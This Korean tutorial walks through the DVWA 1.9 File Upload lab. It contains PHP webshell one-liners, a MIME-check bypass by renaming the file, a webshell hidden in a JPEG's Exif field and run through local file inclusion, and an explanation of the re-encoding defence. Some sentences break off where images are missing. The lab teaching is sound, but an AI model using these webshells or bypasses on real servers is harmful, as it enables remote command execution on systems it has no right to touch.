홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 DVWA-1.9: File Upload (파일업로드 취약점) 실습설명서DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다. DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.
여기서는 구동 후 DVWA 훈련장의 주소가
Vulnerability: File Upload 공략: Security Level = Low
파일업로드 취약점은 공격자가 서버스크립트 코드가 포함된 파일을 올려서 코드를 실행하는 공격이다.
이러한 파일을 웹쉘(webshell)이라고 한다.
Vulnerability: File Upload 실습문제는 PHP 기반의 웹 애플리케이션이다.
파일을 업로드할 수 있다.
PHP 코드를 실행할 수 있는 파일을 등록할 수 있는 지 점검하기 위해서 root@kali:~# cat cmd.php <pre> <?php system($_GET['cmd']) ?> </pre> root@kali:~#
업로드 후에
보안수준이 Low인 Vulnerability: File Upload 실습문제에서는 파일업로드 과정에서 아무런 제약이 없다. 이 때문에 어떠한 파일도 업로드가 가능한 상황이다. Vulnerability: File Upload 공략: Security Level = Medium보안수준을 Medium으로 높이고, Vulnerability: File Upload 실습문제의 PHP 소스를 살펴보자. if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
업로드할 파일의 MIME 형식을 점검하고 있다.
MIME 형식이
root@kali:~# cp cmd.php cmd.php.jpg root@kali:~# cat cmd.php.jpg <pre> <?php system($_GET['cmd']) ?> </pre> root@kali:~#
웹 브라우저는 확장자를 기반으로 MIME을 결정하기 때문에 위와 같이
OWASP-ZAP에서 가로챈 HTTP 통신에서
결과는 low level에서와 동일하다.
Vulnerability: File Upload 공략: Security Level = High (LFI)보안수준 High에서의 PHP 소스를 살펴보자. // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {
대소문자 구분없이 파일의 확장자가
이미지 업로드 기능에 있어서
위 그림에서는 Exif 정보에 PHP 코드를 포함하는 JPEG 이미지를 업로드하였다.
파일이름은 실제 상황에서는 Exif에 PHP 코드를 담지 않아도 된다. 이미지 파일의 끝에 평문으로 PHP 코드를 덧붙여도 정상적인 이미지로 인식한다.
업로드한 웹취약점분석에서 Vulnerability: File Upload high level은 취약점이 없다고 결론을 내린다. 하지만 여기서 업로드한 이미지웹쉘을 실행할 수 있는 방법이 한가지가 있다. 바로 내부파일실행(LFI) 취약점이다. 이 경우에는 LFI가 취약점이므로 Vulnerability: File Upload high level을 취약점이라고 볼 수는 없다.
Damn Vulnerable Web App 훈련장에는 LFI 취약점이 존재한다.
위의 그림은 LFI가 매우 드물게 나타나는 취약점이긴 하지만 어떤 형태로든 파일을 업로드하는 기능이 있으면 "확장자를 불문하는 웹쉘"을 만들 수 있으므로 매우 위험하다.
위의 ÿØÿà^@^PJFIF^@^A^A^A^@H^@H^@^@ÿá^DØExif^@^@II*^@^H^@^@^@^Q^@^@^A^D^@^A^@^@^@à^A^@^@^A^A^D^@^A^@^@^@g^A^@^@^B^A^C^@^A^@^@^@^H^@^@^@^C^A^C^@^A^@^@^@^F^@^@^@^O^A^B^@^D^@^@^@LGE^@^P^A^B^@.^@^@^@Ú^@^@^@^R^A^C^@^A^@^@^@^A^@^@^@^Z^A^E^@^A^@^@^@^H^A^@^@^[^A^E^@^A^@^@^@^P^A^@^@(^A^C^@^A^@^@^@^B^@^@^@1^A^B^@^T^@^@^@^X^A^@^@2^A^B^@^T^@^@^@,^A^@^@^R^B^C^@^B^@^@^@^B^@^B^@^S^B^C^@^A^@^@^@^A^@^@^@i<87>^D^@^A^@^@^@p^A^@^@%<88>^D^@^A^@^@^@´^C^@^@þÆ^B^@/^@^@^@@^A^@^@^@^@^@^@<pre><?php $_REQUEST[1]($_REQUEST[2])?></pre>^@H^@^@^@^A^@^@^@H^@^@^@^A^@^@^@HDR+ 1.0.126161355r^@2016:11:01 17:43:14^@Copyright International Color Consortium, 2009^@^@"^@<9a><82>^E^@^A^@^@^@^N^C^@^@<9d><82>^E^@^A^@^@^@^V^C^@^@"<88>^C^@^A^@^@^@^B^@^@^@'<88>^C^@^A^@^@^@<90>^@^@^@^@<90>^G^@^D^@^@^@0220^C<90>^B^@^T^@^@^@^^^C^@^@^D<90>^B^@^T^@^@^@2^C^@^@^A<91>^G^@^D^@^@^@^A^B^C^@^A<92>
위의
다음은 root@kali:~# exiftool pentest/kth.exif.jpg ExifTool Version Number : 10.10 File Name : kth.exif.jpg Directory : pentest File Size : 33 kB File Modification Date/Time : 2016:12:21 15:19:00+09:00 File Access Date/Time : 2016:12:21 15:19:16+09:00 File Inode Change Date/Time : 2016:12:21 15:19:00+09:00 File Permissions : rw------- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Exif Byte Order : Little-endian (Intel, II) Compression : JPEG (old-style) Make : LGE Camera Model Name : <pre><?php $_REQUEST[1]($_REQUEST[2])?></pre> Orientation : Horizontal (normal) X Resolution : 72 Y Resolution : 72 Resolution Unit : inches Software : HDR+ 1.0.126161355r Modify Date : 2016:11:01 17:43:14 Y Cb Cr Positioning : Centered Exposure Time : 1/125 F Number : 2.0 Exposure Program : Program AE ISO : 144 Exif Version : 0220 Date/Time Original : 2016:11:01 17:43:14 Create Date : 2016:11:01 17:43:14 Components Configuration : Y, Cb, Cr, - Shutter Speed Value : 1/125 Aperture Value : 2.0 Brightness Value : 3.44 Exposure Compensation : 0 Max Aperture Value : 2.0 Subject Distance : 0 m Metering Mode : Center-weighted average Focal Length : 4.7 mm Sub Sec Time : 096310 Sub Sec Time Original : 096310 Sub Sec Time Digitized : 096310 Flashpix Version : 0100 Color Space : sRGB Exif Image Width : 4000 Exif Image Height : 2992 Interoperability Index : R98 - DCF basic file (sRGB) Interoperability Version : 0100 Sensing Method : One-chip color area Scene Type : Directly photographed Custom Rendered : Custom Exposure Mode : Auto White Balance : Auto Scene Capture Type : Standard Contrast : Normal Saturation : Normal Sharpness : Normal Subject Distance Range : Unknown GPS Version ID : 2.2.0.0 GPS Latitude Ref : North GPS Longitude Ref : East GPS Altitude Ref : Above Sea Level GPS Time Stamp : 08:43:35 GPS Dilution Of Precision : 11 GPS Img Direction Ref : Magnetic North GPS Img Direction : 110 GPS Processing Method : fused GPS Date Stamp : 2016:11:01 Profile Copyright : Copyright International Color Consortium, 2009 XMP Toolkit : Image::ExifTool 10.10 Flash Fired : False Flash Function : False Flash Mode : Off Flash Red Eye Mode : False Flash Return : No return detection Image Width : 640 Image Height : 480 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Aperture : 2.0 Flash : Off, Did not fire GPS Altitude : 57 m Above Sea Level GPS Date/Time : 2016:11:01 08:43:35Z GPS Latitude : 37 deg 34' 32.92" N GPS Longitude : 126 deg 58' 38.26" E GPS Position : 37 deg 34' 32.92" N, 126 deg 58' 38.26" E Image Size : 640x480 Megapixels : 0.307 Shutter Speed : 1/125 Create Date : 2016:11:01 17:43:14.096310 Date/Time Original : 2016:11:01 17:43:14.096310 Modify Date : 2016:11:01 17:43:14.096310 Focal Length : 4.7 mm Light Value : 8.4 root@kali:~#
Exif(Exchangeable image file format, 교환 이미지 파일 형식)는 주로 디지털 카메라에서 사진이나 음성 파일 속에 파일의 정보와 관련 음성을 저장하기 위해서 사용하는 메타데이터 기록 표준이다. 촬영 시간, 촬영 위치, 초점거리, 사진 크기, 셔터 속도, 카메라 기종, 카메라 제조사 등 매우 다양한 정보를 기록할 수 있다. 이미지 파일의 내부에 저장되는 것이 큰 장점으로 별도의 관리를 필요로 하지 않는다. Vulnerability: File Upload Security Level = Impossilbe 해설Vulnerability: File Upload impossible level의 PHP 소스코드를 살펴보자 - 확장자 검증부분은 생략하였다. if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); }
업로드한 원본 이미지로부터 MIME 형식에 따라 PHP의
Vulnerability: File Upload impossible level에
정상적으로
root@kali:~# wget http://192.168.206.136/hackable/uploads/f1298fe3497c5ee710cf0a4e30f5db30.jpg --2016-12-21 16:07:42-- http://192.168.206.136/hackable/uploads/f1298fe3497c5ee710cf0a4e30f5db30.jpg 접속 192.168.206.136:80... 접속됨. HTTP request sent, awaiting response... 200 OK Length: 96498 (94K) [image/jpeg] Saving to: ‘f1298fe3497c5ee710cf0a4e30f5db30.jpg’ f1298fe3497c5ee710cf0a4e30f5 100%[===================================>] 94.24K --.-KB/s in 0.01s 2016-12-21 16:07:42 (8.22 MB/s) - ‘f1298fe3497c5ee710cf0a4e30f5db30.jpg’ saved [96498/96498] root@kali:~# exiftool f1298fe3497c5ee710cf0a4e30f5db30.jpg ExifTool Version Number : 10.10 File Name : f1298fe3497c5ee710cf0a4e30f5db30.jpg Directory : . File Size : 94 kB File Modification Date/Time : 2016:12:22 01:06:35+09:00 File Access Date/Time : 2016:12:21 16:07:42+09:00 File Inode Change Date/Time : 2016:12:21 16:07:42+09:00 File Permissions : rw-rw-r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 100. Image Width : 640 Image Height : 480 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 640x480 Megapixels : 0.307 root@kali:~#
서버에 저장된 그러나 실제 서비스에서는 이러한 방식을 취하기 어렵다.
이런 점 때문에 실제 서비스에서는 [처음 작성한 날: 2016.12.21] [마지막으로 고친 날: 2016.12.22] < 이전 글 : DVWA File Inclusion 실습 설명서 (2016.12.15) > 다음 글 : DVWA SQL Injection (low, medium, high level) 실습 설명서 (2016.12.24) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |